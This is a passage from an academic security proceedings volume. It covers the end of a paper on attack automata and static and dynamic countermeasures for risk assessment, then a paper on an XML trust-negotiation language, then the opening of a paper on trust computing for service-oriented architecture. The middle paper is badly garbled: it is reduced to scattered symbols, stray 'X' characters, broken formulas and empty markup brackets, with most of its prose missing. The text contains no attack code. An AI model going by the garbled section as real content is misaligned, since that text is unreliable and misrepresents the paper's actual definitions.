. If an arc belongs to two sets of countermeasure, a final state can be reached if the corresponding countermeasure fails, hence the two sets do not define a k-redundant set for any k≠0. Hence, in general, an intersection between two sets of countermeasures reduces by one the degree of redundancy. As a consequence, a k-redundant set can be defined only if each path from an initial state to a final one includes at least k arcs with distinct labels. Shorter path prevents the definition of a k-redundant set because all the countermeasures for the attacks corresponding to the labels on the path may fail. 3.2. Dynamic Countermeasures We consider now dynamic countermeasures, that is countermeasures that do not remove the vulnerability but try to prevent the evolution of the target system TS into a state where the threat achieve it goals. These countermeasures can be modeled as a set of actions to be executed to defend TS upon discovering that it has entered a given state. We assume the actions are executed by a defender that is by the system owner to prevent an attacker to control TS. As a consequence, the overall situation can be modeled by an automaton where some transitions occur because of an elementary attack, while other transitions are due to the defender actions. Obviously, the goal of
F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment
45
threat is a sequence of transitions ending in a final state of the automaton, that of the defender is a sequence of transitions that returns TS to an initial state or at least that prevents TS from reaching a final state. Notice that some state can be paired with no action of the defender. This models the case where the defender has no visibility of the state, i.e. the defenders cannot know that TS has entered into the corresponding state. Notice that a state can be paired with a defender action provided that it is not a final one because final states model the success of the attack. An interactive automaton describes the results of the actions of the attacker, i.e. of the threat, and of those of the defender. To define the automaton, we have to specify the sequence of elementary attacks to be executed starting from an initial state, the equivalence relation among states and the defender actions for the various classes. At each step, we consider the current state of the automata cs and the next elementary attack, ea, the first action of the attacker sequence of actions still to be considered. The actions of the attacker or of the defender are defined a priori, independently of the those of the opponent. The following rule is applied: • if cs is not paired with an action of the defender, then ea is applied. This consumes the action, i.e. the action following ea in the sequence is considered • if cs is paired with an action ad of the defender, then the automaton chooses in a nondeterministic way whether to execute ad or ea. If it chooses ea, then it enters a state where a distinct defender action will be considered. If, instead, it chooses ad, then ea is not consumed and it may be executed in the next state. A further case is the one where the action of the attacker depends upon the considered state of the automaton. Now, the attacker actions are not known in advance because the i-th action depends upon the i-th state of the automaton. In this case: • the attacker actions are a function of the state that has been reached by the automaton, an empty action is possible • the defender actions may be specified for each state. An empty action is paired with a state that is no visible to the defender and with other states as well. • in each state that specifies both an attacker action and a defender, a nondeterministic choice occurs • for each initial state there is at least one sequence of attacker actions that leads the automaton in a final state • in any initial or final state no action of the defender is possible. Because of nondeterminism, the execution of the automaton may terminate in a set of states. The following cases may occur: a) any state is a final one: this denotes a complete success of the attacker, b) any state is an initial one: this denotes a complete success of the defender, c) at least one state is final: this will be considered as a success of the attacker, d) no set is final and at least one is initial: this will be considered as a partial success of the defender. In case a), the actions of the defenders are ineffective because only final states are reached. The reverse is true in case b) because the target system is restored into a correct state. Case c) is the most interesting one where either a success or a failure of the attacks is possible according to the timing of the action. The last case is the most
46
F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment
ambiguous one because the target system is left in a state that is not correct and where new attacks can be more effective. Consider now an automaton where the execution ends in a set of states including at least one final state fs. We say that a state s is critical if an execution reaches fs because of a choice done in s. A state s belongs to cs(fs), the critical set of a final state fs, if it is critical for at least one attack sequence. The critical set points out the states where the choice of the action to be executed influences the final results. In order to automatize such analysis, we plan to model it as a module checking problem and apply the formal techniques for checking the behavior of systems in presence of several uncertain environments as specified in [12]. Ideally, we could model each environment (attacker) that induces an outcome of its interactions on the system (defender). With such techniques we can check all the possible outcomes (attacks vs countermeasures).
4. Conclusion This work has presented some tools to support a formal approach to risk assessment. In particular, we have considered attack automata that support the modelling of complex attacks as alternative sequences of elementary attacks against a system component. To determine the attacks that can be actually be executed, posets are defined to evaluate the resources a threat can access and to compare these resources against those required to implement the attack. In this way, the automata that describe the attack against the considered target system can be simplified by removing those attacks that no threat can execute. The adoption of static countermeasures can be formally described in terms of a cut set of a graph that describes the attack automaton. Dynamic countermeasures can be described as further state transitions besides those modeling elementary attacks. The main problem still to be considered is the probability that an attack occurs and the corresponding risk. A correct evaluation of this probability requires the availability of information about the history of the system and not only formal tools for the assessment. References [1] [2] [3] [4] [5] [6] [7] [8]
P. Ammann , D. Wijesekera , S. Kaushik, Scalable, Graph-based Network Vulnerability Analysis, 9th ACM Conf. on Computer and Communications security, Nov. 18-22, 2002, Washington, DC, USA W. A. Arbaugh, W. L. Fithen, J. McHugh , Windows of Vulnerabilits: a Case Study Analysis, IEEE Computer, December 2002, p.52 - 59. R. Baldwin, H.Kuang, Rule Based Security Checking, Technical Report, MIT Lab for Computer Science, May 1994. M.Bishop, Computer Security, Addison Wesley, 2003. CC-project, Evaluation Methodology, Common Criteria for IT Security Evaluation”, CEM-99/045 Aug.1999. CC-project, User Guide. Common Criteria for IT Security Evaluation, Oct. 1999. F.Cuppens, A. Miège, Alert Correlation in a Cooperative Intrusion Detection Framework, 2002 IEEE Symposium on Security and Privacy, p.202, May 12-15, 2002 M.Dacier, Towards Quantitative Evaluation of Computer Security, Ph.D Thesis, Institute National Polytechnique de Tolouse, Dec 1994
F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment [9]
[10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]
[21]
[22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36]
47
J. Dawkins, C. Campbell, J. Hale, Modeling Network Attacks: Extending the Attack Tree Paradigm, Workshop on Statistical and Machine Learning Techniques in Computer Intrusion Detection, Johns Hopkins University, June 2002. C. W. Geib and R. P. Goldman, Plan Recognition in Intrusion Detection System, DARPA Information Survivability Conference and Exposition (DISCEX II), June 2001. R. P. Goldman, W. Heimerdinger, and S. A. Harp. Information Modeling for Intrusion Report Aggregation, DARPA Information Survivability Conference and Exposition (DISCEXII), June 2001. Orna Kupferman and Moshe Y. Vardi, Module Checking, 8th Int. Conference on Computer Aided Verification, LNCS 1102, p. 75-86, 1997. S. Jajodia, S. Noel, B. O'Berry, Topological Analysis of Network Attack Vulnerability, Managing Cyber Threats: Issues, Approaches and Challenges, Kluwer Academic Publisher, 2003. C. Lala, B. Panda, Evaluating damage from cyber attacks: a model and analysis, IEEE Transactions on Systems, Man, and Cybernetics - Part A: Systems and Humans, vol 31 (4), July 2001, p.300- 310. U. Lindqvist, E. Jonsson, How to Systematically Classify Computer Security Intrusions, 1997 IEEE Symposium on Security and Privacy, May 1997. K. Lye, J. Wing, Game strategies in network security, Foundations of Computer Security Workshop, July 2002. R. A. Martin, Managing vulnerabilities in networked system, IEEE Computer, November 2001. p. 32 38. F. Moberg, Security Analysis of an Information System using an Attack Tree-based Methodology, Master thesis, Chalmers University of Technology, 2000. P. Moore, R. J. Ellison, R. C. Linger, Attack Modelling for Information security and Survivability, Technical note CMU/SEI- 2001-TN001. P. Ning , P.Cui , D. S. Reeves, “Constructing attack scenarios through correlation of intrusion alerts”, Proc. of the 9th ACM conference on Computer and communications security, November 2002, Washington, DC, USA. P. Ning, D. Xu, C. Healey, R. .St. Amant, Building Attack Scenarios through Integration of Complementary Alert Correlation Methods, 11th Annual Network and Distributed System Security Symposium, February, 2004. P. Ning, D. Xu, Hypothezing and Reasoning about Attacks Missed by IDSs, ACM Trans. On Information System Security, Vol.7, No.4, Nov. 2004, pp. 591-627 R.W. Ritchey , P. Ammann, Using Model Checking to Analyze Network Vulnerabilities, 2000 IEEE Symposium on Security and Privacy, p.156, May 14-17, 2000. S. Jha, O. Sheyner, J. M. Wing. Minimization and Reliability Analyses of Attack Graphs. Technical Report CMUCS-02-109, Carnegie Mellon University, February 2002. S. Jha , O. Sheyner , J. Wing, Two Formal Analysis of Attack Graphs, 15th IEEE Computer Security Foundations Workshop ,p.49, June 24-26, 2002. C. Phillips, L. Painton Swiler, A graph-based system for network-vulnerability analysis, Workshop on New Security Paradigms, p.71-79, September 22-26, 1998. X. Qin, W. Lee, Attack Plan Recognition and Prediction Using Causal Networks, 20th Annual Computer Security Applications Conference pp. 370-379, 2004 R. Ritchey , B. O'Berry, S. Noel, Representing TCP/IP Connectivity For Topological Analysis of Network Security, 18th Annual Computer Security Applications Conference, p.25, Dec. 2002. B.Schneier, Attack Trees: Modeling Security Threats, Dr. Dobb’s Journal, December 1999. O. Sheyner , J. Haines , S. Jha , R. Lippmann , J. M. Wing, Automated Generation and Analysis of Attack Graphs, IEEE Symposium on Security and Privacy, p.273, May 12-15, 2002 . O. M. Sheyner, Scenario Graphs and Attack Graphs, Ph.D. Thesis, CMU-CS-04-122, April 14, 2004. D. Smith, J. Frank, A.Jonsson, Bridging the Gap Between Planning and Scheduling, Knowledge Engineering Review, 15(1), 2000. L.P. Swiler, C. Phillips, D. Ellis, S. Chakerian, Computer-Attack Graph Generation Tool DARPA Information Survivability Conference & Exposition , June 2001. F.Swideriski, W.Snyder, Threat Modelling, Microsoft Press, 2003. S. J. Templeton , K. Levitt, A Requires/Provides Model for Computer Attacks, Workshop on New security paradigms, p.31-38, September 2000, S. Tidwell, R. Larson, K. Fitch, J. Hale, Modeling Internet Attacks, IEEE Workshop of Information Assurance and Security, June 2001.
48
Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.
Squicciarini a
a, *
,
a
b
USA
b
X
X *
X
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
X
X X
X X
X
X X
X X
49
50
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
X
X
X
X
X
X X
X
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
51
X X
X
< nct , pct >
nct
pct SPct
CPct X X X ct
ct (vct , Vct , Ect , Θct )
• vct • Vct = Vcte ct
Vcta ct ct
• Ect ⊆ Vct
Vct
• ΘEct : Ect → Label∗ vct
e Ect Vcte
nct Label
Label
Label∗
52
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
SPct CPct < <
[
< < < < < < < <
>
>
> >
>
> >
>
>
< < < ]>
> >
X
X V
V
X X
X
>
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
< <
53
>
< < < < < < < <
>
> > > > >
< <
>
> > > >
< >
<
>
X
X
X
X ct
X cred (vc , Vc , Ec , Θc ) • vc • Vc
• Ec
Vce
X X ct
a c
v X cred
Eca
ct
c
e c
⊆
c
e ∈ Ec
Vc
• ΘEc : Ec → Label
X
Cars
X X P rof ile
X P rof ile X P rof ile
54
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations < < < < < < < < < < < < < < <
>
> > > > > >
< <
> >
>
>
< <
>
>
> >
>
<
<
>
> <
>
> >
>
X
Data sets
X P rof ile
X P rof ile S
X
X
X
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
X
X
X
Resource name attribute list
R.a
a
R
R.a
C •
X a op expr
55
56
• •
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
=, <, >, =, ≤ a 2)
1) •
>1998 3)
X
T
C1 ...Cn
•
P (T )
T
T1 T1
T2 T1
T2
t c
T C(T )
T
T2
T1
t.c
t R
R •
R ← T1 , T2 , , Tn , n ≥ 1 Resource name 2)R ← DELIV •
T1 , T2 , . . . , Tn
R
Resource name delivery policy
∀ p ∈ pol prec set, p.rule
R ← T1 , T2 , . . . , Tn (n ≥ 1)
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
57
R R
R Cert2 Cert3 Cert2 Cert2 pol1
Cert3
Cert1
Cert1 Cert1 Cert1
Cert4 pol1 , pol2 , pol3 pol3
Cert2 pol2 Cert4 Cert3 Cert3 Cert1 Cert2 Cert4
pol1 pol3 pol1
←
pol1 pol2 pol3 pol4
pol2
{pol2
←
← Credit Card(N ame = Rental Car.name < {pol3 , pol1 }, Rental Car ← DELIV )
pol2
58
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
pol2 pol3 pol2 pol4
pol3
pol1
R
{p1 , ..., pk }
R R [p1 , ..., pk ] R • p1 .pol prec set = ∅ • ∀ i ∈ [1, k − 1], pi ∈ pi+1 .pol prec set • pk .rule = R ←
p1 p2 p3 p4 p5 p6
←
← ← ←
← ←
{p1, p2, p3, p4, p5} [p1, p2, p3, p5] [p1, p2, p4, p5]
R R
X
p6
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
59
1. Car Rentalp ← T rust ticket(V alidRes = Rental) 2. Car Rentalp ← Car P ref erences().
X PB X (vpolt , Vpolt , Epolt , Θpolt )
polt
vpolt e Vpolt = Vpolt
a polt
e Vpolt
X
vpolt
Vpolt Epolt ⊆
pol
Vpol
θEpolt : Epolt → Label∗ vpolt vpolt
e Epol
policySpec+
X
60
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations < < < < < < < < < < < < < < < < < ]>
>
>
>
>
>
| >
>
>
>
>
>
>
|
> >
|
> >
X
X
X
|
|
X
X
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
< <
>
< < < < <
> <
>
←
>
>
>
>
>
< <
> >
< < < < < < <
> >
> >
> >
>
X
X
X
61
62
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
N amei , KeywordSeti , LangSeti
Ci KeywordSeti Ci
N amei
Ci N amei LangSeti
KeywordSeti
KeywordSeti LangSeti
Ci
C =< gender, {sex}, {passport.gender DriversLicense.sex} > gender sex passport.gender DriversLicense.sex C C C = < N ame KeywordSet LangSet > C =< N ame KeywordSet LangSet > KeywordSet ∩ KeywordSet = ∅ LangSet ∩ LangSet = ∅ O Ci ≺ Ck
{C1 , . . . , Cn }
≺ Ck
Ci Ci
Ck
X
address ≺
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
O TR
R
R, properties, conditions R conditions properties
63
O properties
∀ ∈ properties Ci = N amei , KeywordSeti , LangSeti ∈ p ∈ KeywordSeti properties conditions O
(CompactCar Company Employee, gender, country {Company Employee ∈ {F ly, Sun, Alpitour}, gender = male, country = America}) (T ruck,Jobtitle,Company employee,{JobT itle = AgentSeller, Company Employee ∈ {F ly, Sun, Alpitour}})
Summer
1) CT () 2) CT (Ci )
CT
Ci
T R = R, properties, conditions properties conditions
sex
64
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
age > 25 P assport(age > 25)
1979) ⇔
⇒
DriversLicense(yearOf Birth <
age > 45 ⇒ age > 20 CX
X
R ← T1 , . . . , Tn n ≥ 1 R, properties, conditions
X
TR =
• ∀(p op k) ∈ conditions Ti CT (Ai op k ) {T1 , . . . , Tn } CT.Ai ∈ LangSet LangSet Cp Ai op k ⇒ p op k • ∀p ∈ properties Ti {T1 , . . . , Th } Ti CT () CT (Ai ) CT (Ai op k) CT () ∈ LangSet CT.Ai ∈ LangSet LangSet Cm Cm Cp
married M arriageCertif icate() married
Id Card.M aritalStatus =
CompactCar ← Id Card(Lastname, Residence = America), W ork Badge(Company ∈ {F ly, Sun, Atour}), P assport(Sex = f emale) DP 2 : CompactCar ← SS card(Lastname), ResidenceCertif icate(issuer ∈ {Alaska, Alabama, Baltimora, etc..)}, W ork Badge(Company ∈ {F ly, Sun, Atour}), DriverLicense(Sex = f emale) DP 3 : CompactCar ← W orkCertif icate(Lastname), Id Card(Country = America), Badge(Company ∈ {F ly, Sun, Atour}), P assport(Sex = f emale)
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
65
CompactCar
{Alaska, Alabama, Baltimora, ..)} State
ResidenceCertif icate(Issuer ∈
Country
TR TR
DPi DPj
X X X
66
A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations
III. Architecture
This page intentionally left blank
Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.
69
Extending Trust Computing with Service Oriented Architecture1 Jen-Yao CHUNG a, Stephen J.H. YANG b and Blue C.W. LAN b,2 a
IBM T. J. Watson Research Center P.O. Box 218, Yorktown Heights, New York 10598, USA b Dept. of Computer Science & Information Engineering, National Central University No.300, Jhongda Rd., Jhongli City, Taoyuan County 32001, Taiwan (R.O.C.) Abstract. Service oriented architecture is an approach to build distributed systems that deliver application functionality as services to end-user applications or to build other value-added services. The adoption of service oriented architecture will help enterprises achieve an agile e-business environment to provide customers flexible services by integrating required application functionalities dynamically and seamlessly. However, the dynamic and loosely coupling nature will raise many trust concerns of the service computing technology e.g. QoS and security issues. In this paper, we propose a framework for trust computing by extending trusted platforms with service oriented architecture. We employ Trusted Computing Group’s trusted computing platform as the foundation of the framework and apply cryptography infrastructure as the enabling technologies to secure all interactions among service requesters, service providers and service registries. Based on the enabling technologies, we can further divide service level trust concerns into three layers namely service description and publishing, service discovery and composition and service execution and monitoring. We also provide guidelines for each separate trust concern in the three layers correspondingly. Keywords. Trust computing, Service-oriented architecture, Trustworthy Web service, Non-functional attributes
1. Introduction Trust computing or trustworthy computing becomes an important and pressing problem for the development of today’s information technologies since a lot of computer systems have been utilized to tackle numerous critical and complicated tasks, for example, heavy air traffic controls, millions of financial transactions and the maintenance of power plants etc. Any hardware or software failures may lead to myriads of unrecoverable damages in both economic and social aspects. Trust computing is a long-term and collaborative effort to improve computer security, system reliability and data privacy. The attempts on securing computer systems against threats to data confidentiality, integrity and availability can trace the history back to the 1960’s in which large-scale and shared multiprocessing systems were developed generally [1]. How to protect users from each other within a single computing environment was a main issue for the development of operating systems at that time. Initially, operating 1
This paper is extended from our previous works: “Extending Trust Computing with Service Oriented Architecture,” Proc. of Information and Communication Technologies International Symposium (ICTIS), pp. 399-403, June 2005. 2 Corresponding Author: Blue Ci-Wei Lan, Dept. of Computer Science & Information Engineering, National Central University, No.300, Jhongda Rd., Jhongli City, Taoyuan County 32001, Taiwan (R.O.C.); E-mail: [email protected].
70
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
system developers treated security flaws as any other common bugs and fixed found security flaws by software patches. However, such penetrate-and-patch method did not succeed in achieving secure computer systems but in penetrating insecure ones instead. The informal processing of security flaws in a computer system resulted in seemingly endless software patches because a new security flaw always could be found in a previously patched computer system when a new person or group try to penetrate the system later [2]. Hence it needs a cost effective way to prevent the occurrences of insecure events instead of patching found security flaws repeatedly. In order to improve computer’s security capabilities and create trustworthy computer systems in a systematic manner, researchers extended the design of operating system’s monitor to the executions of upper software applications and proposed a similar concept called reference monitor to validate that all references to any critical system resources such as memory and files were consistent with the corresponding access control policy. They also tried to isolate and encapsulate the needed hardware and software in a small and simple enough part of a system named as security kernel such that high confidence in its validation correctness could be established [1]. Although researchers failed to illustrate their proposals with an actual implementation of security kernel due to the difficulty of code isolations, the proposed concept provided useful guidance for designing a trustworthy computer system afterward. For instance, Trusted Computing Group (TCG) [3] attempts to deliver enhanced hardware and operating system based trusted computing platforms recently. TCG tries to promote trust computing by redesigning computing platform architectures in which the distinguishing and arguable feature namely Roots of Trust is incorporated. In TCG systems, Roots of Trust are components that must be trusted and each root is trusted to function correctly without external oversight. Thus the combination of different roots will form a trust boundary where all operations are carried out as expectations and the trust boundary can be extended to include codes that did not natively reside within the roots by verifying trustworthy descriptions of codes. However, a new computing paradigm called service oriented architecture (SOA) is emerged while researchers devote themselves to the study of trust computing within a single computing environment. The new computing paradigm pushes the challenge of trust computing from concrete hardware and operating system layer up to abstract service layer and gives rise to a new research issue – Whether a distributed, loosely organized, flexible and dynamic computing system can ever reach the same level of trustworthiness. Service oriented architecture (SOA) is a component model that inter-relates the different functional units of an application, called services, through well-defined interfaces and contracts between these services. The interface is defined in a neutral manner so it shall be independent of the hardware platform, the operating system, and the programming language the service is implemented in. This allows services which are created by different programming languages to interact with each other in a uniform and universal manner [4]. XML based Web services are popular enabling technologies to implement SOA and there are a number of de facto standards including SOAP [5], WSDL [6], UDDI [7] and BPEL4WS [8] for service communication, description, advertisement and orchestration respectively. SOAP [5] is the lightweight communication protocol that can be used for messaging and remote procedure calls (RPCs) on existing Internet transport protocols such as HTTP, SMTP and MQSeries etc. A SOAP message is represented in a very simple structure called envelope that is composed of two XML elements namely header and body. The envelope defines an overall framework for representing the contents of a SOAP message to identify who
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
71
should deal with all or part of it and to specify whether handling such parts are optional or mandatory etc. Although SOAP is fundamentally a stateless and one-way message exchange paradigm, applications can create more complex interaction patterns e.g. request-response by combing such one-way exchanges with underlying protocol’s features. WSDL [6] provides a model for describing Web services in two fundamental stages. At the abstract level, a Web service is represented by descriptions of the messages it sends and receives and the descriptions are encoded independent of a specific wire format. At the concrete level, the specific protocol-dependent details of a service are presented such that users can follow specified bindings to access the service. The separation of service descriptions is concerning the fact that services with the same functionality are usually deployed at different end points without largely different access protocol details. Hence WSDL can help service provider describe common services among slightly different end points by separating the service descriptions into two different levels. UDDI [7] is the universal discovery mechanism that provides users a systematic way to find out desired services through a centralized service registry and also provides service providers a standard SOAP API for service advertisements. There are three kinds of information about a registered Web service, i.e. white pages include information of name and contact details, yellow pages provide a categorization upon business and service types and green pages specify technical data of the services. Based on these three encoding information, UDDI can support keyword- or directory-based service discovery. BPEL4WS [8] is an XML-based open standard for modeling business processes. By creating on top of the Web service foundation, BPEL4WS can be used to describe event sequences and collaboration logics of a business process while the underlying Web services provide the process functionalities. BPEL4WS enables both client-server alike synchronous communication and peer-to-peer asynchronous message exchanges. Furthermore, BPEL4WS also provides specific support for long-running and stateful business processes such that business processes instances can persist over extended periods of inactivity. For recovery concerns, BPEL4WS defines two handlers named compensation handler and fault handler to help undo any previous actions and deal with errors occurring either within processes or in external Web services respectively. Based on these fundamental Web services technologies, SOA provides IT people more agility than before in terms of software interoperability, reusability and visibility. Through dynamic service discovery and flexible service composition, heterogeneous software components can be aggregated or composed to carry out specific computing tasks in a loosely coupled manner. Generally, SOA advocates taking advantages of any available services no matter where they are allocated to fulfill a computing request rather than creating specific software components from scratch. The adoption of SOA not only speeds up software development lifecycle such that IT people can deliver required functionalities in time but also increases the possibility of exploiting accessible expertise by dynamic service discovery. However, delegating a computing task to dynamically found services have to undertake the risk of unknown service providers and unknown services qualities. The uncertainties in such a distributed, loosely organized, flexible and dynamic computing environment will cause a lot of trustworthiness problems including (1) Quality of Service (QoS): What are the service’s availability, reliability, scalability, performance and integrity? From service requesters’ perspective, they care about not only the functionality of a service but also its QoS issues. How can service requesters ensure that a found service will be available and will work reliably? Can a service provide its functionality consistently under
72
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
different loading? How does a service rollback its execution state if it fails in the middle? (2) Security of message based communications: How do service requesters and service providers keep confidentialities of transmitted data over secured or unsecured communication channels? They have to prevent classified information from internal and external eavesdropping. How can service requesters and service providers maintain data integrity? All interactions and data exchanging between the service requester and the service provider should comply with some kind of agreements. Any unauthorized modifications may lead to violations of agreements or misunderstanding of original intendment. (3) Management of trust relationships: Can service requesters trust service advertisements? What is the reputation of the corresponding service provider? How to measure the service’s functional and non-functional performances is the key for evaluating the trustworthiness of the service advertisements and the service provider. It is also helpful for both service requesters and service providers to maintain trust relationships among them such that they can have higher confidence in interacting with each other based on collected past experiences. In this paper, we propose a trust computing framework to discuss the challenge of extending trust computing with Web services based SOA. The framework covers a wide range of trust concerns spanning from tangible hardware to abstract services. We apply TCG’s enhanced hardware and OS based trusted computing platform as the foundation and employ cryptography infrastructures as the enabling technology to secure all operations. Based on the enabling technologies, we can reduce complexities of the challenge by dividing service level trust concerns into three layers, service description and publishing, service discovery and composition, service execution and monitoring, so that service requesters and service providers will have a clear understanding of how to perform trust computing with service-oriented architecture. The rest of the paper is organized as the following: Section 2 discloses important related works and state of the art. Section 3 demonstrates the framework with general discussions. Section 4 is the summary and future trends.
2. Related Works In order to improve the reliability of modern computer systems and promise to develop more trustworthy computing environments, both industrial vendors and academic institutes spend a lot of time on trust computing studies and form a number of open organizations such as TCG [3] and TRUST [9] dedicated to providing various solutions with joint efforts. Trusted Computing Group (TCG) is a not-for-profit organization formed to develop, define and promote open standards for hardware-enabled trusted computing and security technologies across multiple platforms, peripherals and devices. From TCG’s viewpoint, trust is the expectation that a device will behave in a particular manner for a specific purpose and a trusted platform should provide at least three basic features namely protected capabilities, integrity measurement and integrity reporting. Hence they design Trusted Platform Module (TPM) as the basis for enhancing the security of computing environment in disparate platforms including mobile devices, PC clients, servers and storage systems etc. TPM is the root of trust, which indicates it is the component that must be trusted without external oversight, and it provides numerous cryptographic capabilities such as encryption/decryption, digital signature and integrity measurement etc. With the combination of transitive trust and TPM, trust boundary can be extended from trusted execution kernel up to OS loader codes, OS
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
73
codes and application codes by proving system’s integrity to the remote party. Generally, TPM is implemented as a micro-controller to store keys, passwords and digital certificates such that it can be used in different computing platforms to assist in performing protected capabilities, integrity measurement and integrity reporting. IBM 4758 cryptographic coprocessor [10] shows how to use TPM in an open way. Team for research in ubiquitous secure technology (TRUST) is a new science and technology center established by US National Science Foundation and TRUST brings a lot of top US universities in security research together including Berkeley, Stanford, Carneige Mellon and San Jose State university etc. Due to a rapid increase in computer security attacks at all levels in the last decade, TRUST recognizes that computer trustworthiness is a pressing scientific, economic and social problem. They try to solve the problem from three directions: (1) Security science – includes software security, trusted platforms, applied cryptographic protocols and network security. (2) System science – includes complex inter-dependency modeling and analysis, secure network embedded systems, model-based integration of trusted components and secure information management software tools. (3) Social science – includes economics, public policy and societal challenges, digital forensics and privacy and human computer interfaces and security. Besides, TRUST will have an education and outreach component that focuses not only on integrating research and inquiry-based education but also on transferring new and existing knowledge to undergraduate colleges, educational institutions serving under-represented populations and the K-12 community. For the long-term considerations, such activities can help lay the groundwork for training the scientists and engineers who will develop the next generation of trustworthy systems as well as help prepare the individuals who will ultimately become the users and consumers in the future. There are also many different attempts on offering trustworthy solutions in the service level including QoS-aware service delivery, trustworthy service selections, reliable service compositions and validation-based access control etc. wsBus [11] is an enhanced service registry as well as an intermediary that augments and manages the delivery of Web services by providing run-time support for reliable messaging, securing, monitoring and managing of Web services. It acts as a mediator between service requesters and service providers. All messages are intercepted by a messaging gateway and messages will be placed onto a queue for follow-up processing if they succeed in passing three reliability checks of message’s expiration, duplication and ordering. In the mean time, wsBus will keep all messages in a persistent storage to provide fault tolerance and reliable message delivery such that messages can be re-sent when communication failures occur. Besides, wsBus also supports multiple transport protocols such as MSMQ, TCP, JMS and HTTP/R and thus it can offer reliable service delivery by taking advantage of underlying protocol’s reliable communications capabilities. Wang et al [12] proposed an integrated quality of service (QoS) management in service-oriented enterprise architectures. The integrated QoS management provides QoS support in a consistent and coordinated fashion across all layers of enterprise systems ranging from enterprise policies, applications, middleware platforms down to network layers. They classified QoS characteristics into four categories and developed an XML-based language for service requesters to express QoS requirements: Performance – response time, message throughput, payload size and end-to-end delay; Reliability – delivery guarantee, duplication elimination, message ordering, loss probabilities, error rate, retry threshold, message persistency and criticality; Timeliness – time-to-live, deadline, constant bit-rate, frame time and priority;
74
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
Security – message signing and encryption. The integrated QoS management architecture consists of various component services to help service providers determine whether QoS requirements of required services from a client can be satisfied based on evaluations of current work loadings and resource allocations. In addition, the architecture supports run-time QoS monitoring and adaptations as well. Tosic et al [13] tried to assist service requesters in selecting appropriate Web services with comprehensive contractual descriptions. From technical contract perspective, they claimed that comprehensive descriptions of Web services require several different types of contracts and they classified all kinds of contractual descriptions into three broad categories: Functionality contracts – syntactic contract, behavioral contract, synchronization contract and compositional contract; Quality contracts – QoS contract and pricing contracts; Infrastructure contracts – communication contract, security contract and management contract. Based on the categories, they examined a number of existing Web service languages including WSDL [6], BPEL4WS [8], WS-CDL [14], WS-Policy [15], WSLA [16], WSOL [17] and OWL-S [18] to check what types of contracts can be specified with them. However, none of the previous specifications can provide comprehensive description capabilities. On the other hand, Zhang et al [19] presented another method to help service requesters select trustworthy Web services. They proposed a user-centered, mobile agent based, fault injection equipped and assertion oriented approach to assist service requesters in selecting trustworthy Web services. Upon their UMFA approach, service requester can employ mobile agents with test data and predefined semantic assertions to determine whether targeted services can fulfill both functional and trustworthy requirements thoroughly. In the case of Web services compositions, the QoS and trustworthiness problems are more complex than the problems in individual services due to various compositional patterns. Jaeger et al [20] provided a mechanism to help service requesters determine the overall QoS of a Web services composition by aggregating the QoS of the individual services. Based on defined composition patterns including Sequence, Loop, XOR-XOR, AND-AND, AND-DISC, OR-OR and OR-DISC, they gave the corresponding aggregation rules of mean execution time, mean cost and mean fidelity. In order to get a closer estimation of the service composition, the proposed aggregation method will take dependencies into account if dependencies between particular services exist. The effectiveness of such considerations is obvious while services within a particular dependency domain are invoked from different composition patterns of the whole composition. Liu and Chen [21] proposed an extended role based access control (RBAC) model, called WS-RBAC4BP, to protect Web services in business process. They claimed that Web services are built in open distributed environment, which is apt to cause security concerns, and there is a lack of comprehensive approach in access control for Web services in business process. In WS-RBAC4BP, they defined four basic data elements – companies (COMP), roles (R), Web services (WS) and business processes (BP). Role is the key means to build different relationships such as one-to-one, one-to-many, many-to-one and many-to-many among companies, Web services and business processes. By putting constraints on these relationships, different Web services can be accessed by authorized roles only. Zhang et al [22] proposed a layered model to control the trustworthiness of computing in the domain of Web services. They defined four key layers namely resources, policies, validation processes and management and each layer is equipped with an ad hoc Web services standard language or product to cooperatively
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
75
safeguard Web services-centered trustworthy computing. However, only high-level guidance is presented and no concrete instructions are shown in the model.
